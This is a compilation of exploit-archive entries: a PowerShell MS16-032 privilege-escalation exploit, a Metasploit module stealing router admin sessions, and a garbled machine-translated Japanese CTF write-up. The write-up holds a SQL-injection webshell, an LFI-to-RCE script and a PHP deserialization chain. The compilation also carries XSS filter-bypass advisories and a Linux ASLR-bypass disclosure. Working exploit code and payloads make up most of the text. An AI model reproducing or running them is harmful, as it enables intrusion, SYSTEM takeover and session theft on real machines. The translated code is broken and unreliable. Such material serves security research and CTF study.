		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($hThread)
		if ($CallResult -ne 0) {
			echo "[!] $hThread is a bad thread, exiting.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		# Null $SysTokenHandle
		$script:SysTokenHandle = [IntPtr]::Zero

		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($hThread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	echo "[>] Duplicating CreateProcessWithLogonW handle"
	$hThread = Get-ThreadHandle
	
	# If no thread handle is captured, the box is patched
	if ($hThread -eq 0) {
		echo "[!] No valid thread handle was captured, exiting!`n"
		Return
	} else {
		echo "[?] Done, using thread handle: $hThread"
	} echo "`n[*] Sniffing out privileged impersonation token.."
	
	# Get handle to SYSTEM access token
	Get-SystemToken
	
	# If we fail a check in Get-SystemToken, exit
	if ($SysTokenHandle -eq 0) {
		Return
	}
	
	echo "`n[*] Sniffing out SYSTEM shell.."
	echo "`n[>] Duplicating SYSTEM token"
	$hDuplicateTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
	
	# Simple PS runspace definition
	echo "[>] Starting token race"
	$Runspace = [runspacefactory]::CreateRunspace()
	$StartTokenRace = [powershell]::Create()
	$StartTokenRace.runspace = $Runspace
	$Runspace.Open()
	[void]$StartTokenRace.AddScript({
		Param ($hThread, $hDuplicateTokenHandle)
		while ($true) {
			$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
		}
	}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
	$AscObj = $StartTokenRace.BeginInvoke()
	
	echo "[>] Starting process race"
	# Adding a timeout (10 seconds) here to safeguard from edge-cases
	$SafeGuard = [diagnostics.stopwatch]::StartNew()
	while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		#---
		# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
		#---
		# Missing this check used to cause the exploit to fail sometimes.
		# If CreateProcessWithLogon fails OpenProcessToken won't succeed
		# but we obviously don't have a SYSTEM shell :'( . Should be 100%
		# reliable now!
		#---
		if (!$CallResult) {
			continue
		}
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

	}
	
	# Kill runspace & stopwatch if edge-case
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
      'Description'    => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
        unauthenticated remote attackers to retrieve a valid Administrative SID.

        To obtain an administrative web session inject this SID in your client's
        cookie with values as follow: userlevel=2;sid=<SID>

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'References'     =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'Author'         =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Apr 07 2016",
      'DefaultOptions' =>
      {
        'RPORT' => 443
      }
    ))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
  end

  def run
    @peer = "#{rhost}:#{rport}"

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'login_confirm'
      }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
    end

    ssid = res.body.split(',', 2)
    print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
  end
end
            

web

mmmmd5d5d5d5

リンクオープンページ

image

バイパス

?a []=1b []=2

image

MD5を構築します

?php

for($ i=0; $ i=100000; $ i ++)

{

if(substr(md5($ i)、5、5)==='3ddc6')

{

echo $ i;

壊す;

}

}

次のレベルを入力します

image

提出する

ffiffdyop

得る:

?php

error_reporting(0);

「flag.php」を含める;

highlight_file(__ file__);

if($ _ post ['param1']!==$ _ post ['param2'] md5($ _ post ['param1'])==md5($ _ post ['param2']){

echo $ flag;

}

image

ペイロードを構築します:

param1 []=1param2 []=2

フラグを取得できます

edgnb(サインイン)

Dockerデスクトップバージョンを直接開きます

image

フラグを取得できます

タイムタワーの宝物

リンクログインボックスが開きます

image

ペイロードを構築します:

pswd=adminusname=admin 'union select 1、'?php eval($ _ post [1]); ' Into Outfile '/var/www/html/1203.php';#

image

Ant Sword Connect1203.Php、パスワードは1、フラグを取得できます

image

lfi_to_rce

?php

show_source( './index.php');

$ _get ['file']を含める;

警告: include():ファイル名は/var/www/html/index.phpで空にすることはできません。

警告: include(): inclusion(include_path='。/usr/local/lib/php')のinclusion(include_path='。

expに投稿:

リクエストをインポートします

IOをインポートします

スレッドをインポートします

url='http://81.70.102.209:10040/index.php'

sessid='21r000 '

def write(セッション):

filebytes=io.bytesio(b'a ' * 1024 * 50)

true:

res=session.post(url、

data={

'php_session_upload_progress':'?php eval($ _ post [1]); '

}、

Cookie={

'phpsessid': sessid

}、

files={

'file':(' 21r000.jpg '、filebytes)

}

))

def read(session):

true:

res=session.post(url+'?file=/tmp/sess _'+sessid、

data={

'1':'system(' ls /');'

}、

Cookie={

'phpsessid':sessid

}

))

res.text:の「etc」の場合

印刷(res.text)

__name__=='__main __' :の場合

evnet=threading.event()

session:としてrequests.session()を使用

範囲のIの場合(5):

threading.thread(target=write、args=(session、))。start()

範囲のIの場合(5):

threading.thread(ターゲット=read、args=(session、))。start()

evnet.set()

image

旗を獲得するために訪問します

unserialize

?php

error_reporting(0);

「hint.php」を含める;

クラスX {

public $ value;

public $ cc;

function __wakeup(){

Die( 'Fighting !');

}

}

クラスA {

public $ nice;

パブリック関数__Destruct()

{

$ this-nice=unserialize($ this-nice);

$ this-nice-value=$ fake;

if($ this-nice-value===$ this-nice-cc)

$ this-test-good();

}

}

クラスB {

public $ value;

public $ array;

public function good(){

if(is_array($ this-array)){

($ this-array)($ this-value);

}

それ以外{

echo 'must_array';

}

}

}

クラスC {

public $ value;

パブリックファンクションシェル($ func){

if(preg_match( '/^[a-z0-9]*$/isd'、$ func)){

die( 'y0u_a2e_hackk!');

}

それ以外{

$ func($ this-value);

}

}

}

if(isset($ _ get ['pop'])){

$ pop=base64_decode($ _ get ['pop']);

unserialize($ pop);

} それ以外{

highlight_file(__ file__);

}

ポップチェーンの問題は、A:2からA:3に変更されます

?pop=tzoxoijhijozontzojq6im5py2uio3m6mzc6ik86mtoieci6mjp7czo1oij2ywx1zsi7tjtzoji6imnjijtoo330io33m6n6n6ndoidgvzdci7tzoxoxoxoxoijiyjontzoju6inz hbhvlijtzojc6ilxzexn0zw0io3m6ntoiyxjyyxkio2e6mjp7atowo086mtoiyyi6m tp7czo1oij2ywx1zsi7czo5oijyxqgl2zsywcio31poje7czo1oijzagvsbci7fx19

PACをポスト

?php

クラスX {

public $ value;

public $ cc;

パブリック関数__construct()

{

$ this-value=$ fake;

$ this-cc=$ fake;

}

function __wakeup(){

Die( 'Fighting !');

}

}

クラスA {

public $ nice;

パブリック関数__construct()

{

$ this-nice=serialize(new X());

$ this-test=new b();

}

パブリック関数__Destruct()

{

$ this-nice=unserialize($ this-nice);

$ this-nice-value=$ fake;

if($ this-nice-value===$ this-nice-cc)

$ this-test-good();

}

}

クラスB {

public $ value='\ system';

public $ array;

パブリック関数__construct()

{

$ this-array=[new c()、 'shell'];

}

public function good(){

if(is_array($ this-array)){

($ this-array)($ this-value);

}

それ以外{

echo 'must_array';

}

}

}

クラスC {

public $ value='cat /flag';

パブリックファンクションシェル($ func){

if(preg_match( '/^[a-z0-9]*$/isd'、$ func)){

die( 'y0u_a2e_hackk!');

}

それ以外{

$ func($ this-value);

}

}

}

$ a=new a();

echo serialize($ a);

echo 'br';

echo base64_encode(serialize($ a));

Misc

公式アカウントya

に来てください

image

コードをスキャンするだけです

jamesharden

添付ファイルをダウンロードして減圧し、ファイルの接尾辞を変更します。zipを追加した後、減圧ファイルは.classファイルです。

image

rot13 urpgsの復号化{jr1p0zr_g0_u3pg6_!}フラグを取得するには:

image

隠れ模様

添付ファイルは、Wordドキュメントとしてファイルを開きます

image

テキストのプロンプトによると、構成コンテンツのフォントサイズを12に変更します

jsfuck暗号化として発見されました

image

http://codetab.com/jsunfuckオンラインWebサイト復号化

フラグを復号化します

image

失われた犬

アタッチメントが開きます

image

Lost Dogフォルダーを開きます

image

圧縮パッケージに画像がありますが、パスワードが必要です

Ziperelloでのブルートフォースクラッキングを使用し、文字セットを番号に設定します

image

image

パスワードは142345であり、ファイルが正常に解凍されて写真を取得するために

image

KaliのBinwalkを使用してファイルコンテンツを分析します

image

隠された画像にjpgファイルが隠されていることがわかりました

ファイルを取り外すには、最優先事項を使用します

image

2番目の画像はフラグを示しています

image

ヘビ

6000ポイントに達したときにチップがありました

image

ソースコードをトレースします

image

show_text関数を改造します

image

image

pyinstallerが困惑した後、snake.pycがあります。 PYをPYに分解した後、それはそのソースコードです。

image

image

旗を獲得:

image

質問

署名して戻ってきて、次回続行します。

crypto

サインイン

添付ファイルが開きます

image

禅に関する仏教の禅の論文を解読して、一連のbase64暗号テキストを取得する

skjdvudwq0dqtlrxnjmzruw1v0hlwtnmtdvurzy0uzdqrlhyszdjpq==

復号化後、フラグを取得するためのbase32復号化:

image

rsa_e_n

添付ファイル:

image

RSAでE、N、Cを復号化し、スクリプトを直接入力してください。

gmpy2をインポートします

rsawienerhackerをインポートします

E=0x14B367BF01EFD4DC667B8E62975479C612C96E78F7F1F55242B2973C882DDC B33A65C52174D8AE1273764CE429054EA3F2FDC38FF205443C92EF4198739F05A A11FC10D3FC6FF30C8F5F05A04F43E3D8FC9BFFFE916B2E0360560A162729E91 B7775BDA70177E0F875626E0A81BD4EACEA9948B02232A82659F8D9AA9B4C754F

n=0x75BE564267F8BF6C2038DD0CADFEECBC3158ACFC27E679DD0BDB0DB0E90BD5 198A0A7EDC0626F357A2D75F3C37EDE045B7F7CA6BDA79E5BF6FC0AEA0AA7BEDA 587388599D2B77B538FC3E66666784493FFAF731E2AE232E8E9E9F9F2A4DF25C19 B7680F5BF6C485BD87923F01C17D8EC3543872C28E361774E6E7681D67ECBE19

C=1012765995653419108589656976567211665272051837730881475431227052308080885503362715840499693807070951204

Document Title:
===============
C & C++ for OS - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1825


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1825


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
This is an ios c app,you can learn,run,share c code. The software is a offline compiler for developers with apple iOS.
Code templates,the contents of the new file is copy from contents of the template file.

(Copy of the Homepage: https://itunes.apple.com/us/app/c-for-os-programming-language/id1016290003 )


This is an ios c/c++ app,you can learn,run,share c/c++ code. In(the built-in browser or the txt editor),Select the text to run.
Code templates,the contents of the new file is copy from contents of the template file. 

(Copy of the Homepage: https://itunes.apple.com/us/app/c-c++-offline-compiler-for/id1016322367 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side validation vulnerability in the official C & C++ for OS web-application (api).


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
XiaoWen Huang
Product: C for OS & C++ - Mobile API (Web-Application) 1.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation and mail encode web vulnerability has been discovered  in the official C & C++ for OS web-application (api).
The persistent web vulnerability allows an attacker to inject malicious script codes on the application-side of the vulnerable modules context.

The basic validation of the code formular and mask allows to include any type of script codes or programming language without offensive input 
restrictions. Attackers can inject code to a project to share it with another source. In the moment the code of the project is generated to as 
email body, a persistent script code execution occurs.

There are two options to exploit, first is to send the malicious mail to the author of the program by the `Mail Author` function. Another possibility 
to execute code in the email body context is to share it with another code editor by email. In both email body message context the injected wrong 
filtered script code execution occurs. The internal encoding of the formular is correctly done but in case of sharing by qr or via message body email 
the execution occurs. The vulnerability is located on the application-side of the iOS application and the request method to inject requires physical 
device access or access to the share function. The bug is present in the C & C++ for OS 1.2 version of the mobile client. Attackers can for example 
generate a QR code with malicious context that is executed in the message body were the code is mainly displayed by the iOS application.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. 
Exploitation of the persistent vulnerability requires a low privileged ios device user account with restricted access and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Vulnerable Module(s):
				[+] Share to Authors
				[+] Share by Email
				[+] Share via QR Code

Vulnerable Function(s):
				[+] Console
				[+] C  or C++


Proof of Concept (PoC):
=======================
The persistent vulnerability and mail encoding bug can be exploited by remote attackers with low privileged device user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the perl app to your apple iOS device
2. Start the mobile application
3. Include to the first variable in the demo code java or html script code and save the entry as c or c++ script
4. Open the saved entry again and click the top right arrow menu
5. Now choose Create QR or Share menu button
6. Open the menu `Mail to Author` or push the default `iOS Mail App` button
7. Now the code of the formular gets transfered to the email message body context
Note: The encoding does not parse or encode any inserted values
8. The email arrives to the target inbox
9. Open the email and the code executes directly in the message body or next to the generated qr code
10. Successful reproduce of the filter and validation vulnerability in the c and c++ app api!

Note: The bug can be exploited by sending to the author, by sending to another target mail or by transfer of a qr code.


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable message body context.
Filter and parse all code values that are included to the message body. Configure the code to plain text not html to prevent 
further persistent injection attacks. In case of emergency use the escape function to separate the mechanism permanently.


Security Risk:
==============
The security risk of the application-side mail encode web vulnerability in the mobile application api is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
Source: http://hmarco.org/bugs/CVE-2016-3672-Unlimiting-the-stack-not-longer-disables-ASLR.html

CVE-2016-3672 - Unlimiting the stack not longer disables ASLR
Authors:	Hector Marco & Ismael Ripoll
CVE:	CVE-2016-3672
Dates:	April 2016


Description

We have fixed an old and very known weakness in the Linux ASLR implementation.
Any user able to running 32-bit applications in a x86 machine can disable the ASLR by setting the RLIMIT_STACK resource to unlimited.

Following are the steps to test whether your system is vulnerable or not:

1) Create a dummy program which shows its memory map:

#include <stdio.h>

int main(int argc, const char *argv[])
{
    char cmd[256];
    sprintf(cmd, "cat /proc/%d/maps", getpid());
    system(cmd);
    return 0;
}

2) Compile it: 

$ gcc show_maps.c -o show_maps        # In a i386 machine
$ gcc show_maps.c -o show_maps -m32   # In a 64-bit machine

3) Run the application to check that ASLR is working

$ for i in `seq 1 10`; do ./show_maps | grep "r-xp.*libc"; done
f75c4000-f7769000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f75db000-f7780000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f7557000-f76fc000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f7595000-f773a000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f7574000-f7719000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f75af000-f7754000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f7530000-f76d5000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f7529000-f76ce000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f75c2000-f7767000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so
f75fe000-f77a3000 r-xp 00000000 08:01 784726     /lib32/libc-2.19.so


The libc-2.19.so library is mapped at random positions, so, the ASLR is working properly.
Now, we run the same test but setting the stack to unlimited:


$ ulimit -a | grep stack
stack size              (kbytes, -s) 8192
$ ulimit -s unlimited
stack size              (kbytes, -s) unlimited
$ for i in `seq 1 10`; do ./show_maps | grep "r-xp.*libc"; done
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so
5559a000-5573f000 r-xp 00000000 08:01 784726      /lib32/libc-2.19.so


The libc-2.19.so library is mapped at the same position in all executions: the ASLR has been disabled.
This is a very old trick to disable ASLR, but unfortunately it was still present in current Linux systems.

Vulnerable packages

The weakness, IFAIK is present from the first version of current Linux GIT repository. The first version on this resposiroty is Linux-2.6.12-rc2 dated on April 2005. 

Impact

An attacker capable of running 32-bit system applications in a x86 machine is able to disable the ASLR of any application, including sensitive applications such as setuid and setgid. Note that it is not a exploitable vulnerability by itself but a trick to disable the ASLR. This weakness can be use by an attacker when trying to exploit some other bug. Since the i386 is still very used, the number of systems and affected users could be extremely huge. 
The wekaness

The issue arises because the ASLR Linux implementation does not randomize always the mmap base address when the stack size is set to unlimited. Concretely, on i386 and on X86_64 when emulating X86_32 in legacy mode, only the stack and the executable are randomized but not other mmapped files (libraries, vDSO, etc.). And depending in the Linux version, the executable is neither randomized. 

The function to calculate the libraries position when the stack is set to unlimited is mmap_legacy_base():


static unsigned long mmap_legacy_base(void)
{
    if (mmap_is_ia32())
        return TASK_UNMAPPED_BASE;
    else
        return TASK_UNMAPPED_BASE + mmap_rnd();
}


The function doesn't add any random offset when the system is running in a native 32-bit system (i386) or a 32-bit emulated system (x86_32).
Exploit

To exploit this weakness, the attacker just need to set to unlimited the stack and then execute a 32-bit application. Obviously the idea is to execute (attack) privileged applications such as setuid/setgid.
FIX

We have created a patch to fix this issue:


diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c
index 96bd1e2..389939f 100644
--- a/arch/x86/mm/mmap.c
+++ b/arch/x86/mm/mmap.c
@@ -94,18 +94,6 @@ static unsigned long mmap_base(unsigned long rnd)
 }
 
 /*
- * Bottom-up (legacy) layout on X86_32 did not support randomization, X86_64
- * does, but not when emulating X86_32
- */
-static unsigned long mmap_legacy_base(unsigned long rnd)
-{
-   if (mmap_is_ia32())
-       return TASK_UNMAPPED_BASE;
-   else
-       return TASK_UNMAPPED_BASE + rnd;
-}
-
-/*
  * This function, called very early during the creation of a new
  * process VM image, sets up which VM layout function to use:
  */
@@ -116,7 +104,7 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
    if (current->flags & PF_RANDOMIZE)
        random_factor = arch_mmap_rnd();
 
-   mm->mmap_legacy_base = mmap_legacy_base(random_factor);
+   mm->mmap_legacy_base = TASK_UNMAPPED_BASE + random_factor;
 
    if (mmap_is_legacy()) {
        mm->mmap_base = mm->mmap_legacy_base;


The patch enables randomization for the libraries, vDSO and mmap requests on i386 and in X86_32 in legacy mode. We already sent the patch to Linux mantainers and the issue will be not problem in incomming Linux versions: Enable full randomization on i386 and X86_32
Discussion

Although this vulnerability is not exploitable by itself, the truth is that the ASLR protection mechanism is useless on local attacks for i386 and x86_32 systems when the attackers are able to attack applications that they can lauch. 

Hector Marco - http://hmarco.org 
            
Document Title:
===============
Totemomail v4.x & v5.x - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1769


Release Date:
=============
2016-04-08


Vulnerability Laboratory ID (VL-ID):
====================================
1769


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
totemomail® Encryption Gateway protects your email communication with customers and business partners whereas 
totemomail Internal Encryption secures your internal email traffic. In combination, they become the innovative and potent 
hybrid encryption solution totemomail Hybrid Encryption. totemomail Encryption Gateway features a high level of security and 
it is easy for end users and administrators alike to use. The everyday user will have no need to think about encryption because 
the software is based on a high level of automation.

(Copy of the Vendor Homepage: http://www.totemo.com/products/mail/overview/introduction/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side vulnerability and a 
filter bypass issue in the Totemo Email Gateway v4.0 b1343 and v5.0 b512 appliance series .


Vulnerability Disclosure Timeline:
==================================
2016-02-26: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-02-27: Vendor Notification (Totemomail Security Team)
2016-02-30: Vendor Response/Feedback (TotemomailSecurity Team)
2016-03-11: Vendor Fix/Patch (Totemomail Developer Team)
2016-04-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability and a filter bypass issue has been discovered in the official Totemo Email Gateway v4.0 b1343 and v5.0 b512 appliance series .
The filter bypass issue allows an attacker to evade the controls of a protection or restriction mechanism to compromise further web module context or service functions.
The persistent validation vulnerability allows an attacker to inject own malicious script codes on the application-side of the vulnerable web-application module context.

The persistent input validation web vulnerability has been discovered in the `Betreff(Subject)` and `Message (Body)` input fields of the `Neue Nachricht (New Message)` module.
The attacker can inject malicious script codes to the message body or subject input field. After the inject of the non exectuable context is get send to another manager by 
secure mail interaction. After the arrival of the message the receiver clicks to `save as html`. In the moment the encoded mail context is generated as html, the malicious 
injected tag is getting visible as executable context. The injection point of the vulnerability are the `subject` and `message body` input fields and the execution point 
occurs in the moment the target manager generated the message as html to review or print.

The regular filter mechanism and validation does not allow to inject for example iframes and basic script code tags like script, iframe, div to the web input forms. As far as 
an payload is included to for example the subject as listing the validation parses and encodes the string and show only the first two characters. We figured out that is possible 
to bypass by usage of `img` script code tags with onload alert. The encoding of the input needs to be restricted permanently against special char inputs, the validation procedure 
needs to parse and encode the input without extending the entry with a null location entry.

Vulnerable Module(s):
				[+] Posteingang - Nachricht

Vulnerable Input(s):
				[+] Subject (Betreff)
				[+] Message Body (Nachricht)

Affected Module(s):
				[+] Message Index (main.jsp)
				[+] Save as Html (Als HTML Speichern)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1.1
Manual steps to reproduce the vulnerability ...
1. Open a new message
2. Include any random demo text first
3. Include now at least in the message body the script code payloads
4. Scroll above back to the subject and include the same payload to the subject input field
5. Save the entry as draft
6. You can now already see that the service attached to the script code another alt value
Note: "><img src="x" alt="null"> "><"<img src="x" alt="null">%20%20> ...
7. Now you send the message directly to a manager for reply
8. The manager received the message and treid to review it as html
9. The execution occurs in the subject and the message body of the html file
Note: The html file is wrong encoded and does not parse the values again next to generating the html source file
10. Successful reproduce of the filter bypass issue and persistent vulnerability!


PoC: Filter Bypass
"><"<img src="x">%20%20>"<iframe src=a>%20<iframe>
"><img src=x onerror=prompt(23);>
>"<<img src="c" onerror=alert(1)>


Solution - Fix & Patch:
=======================
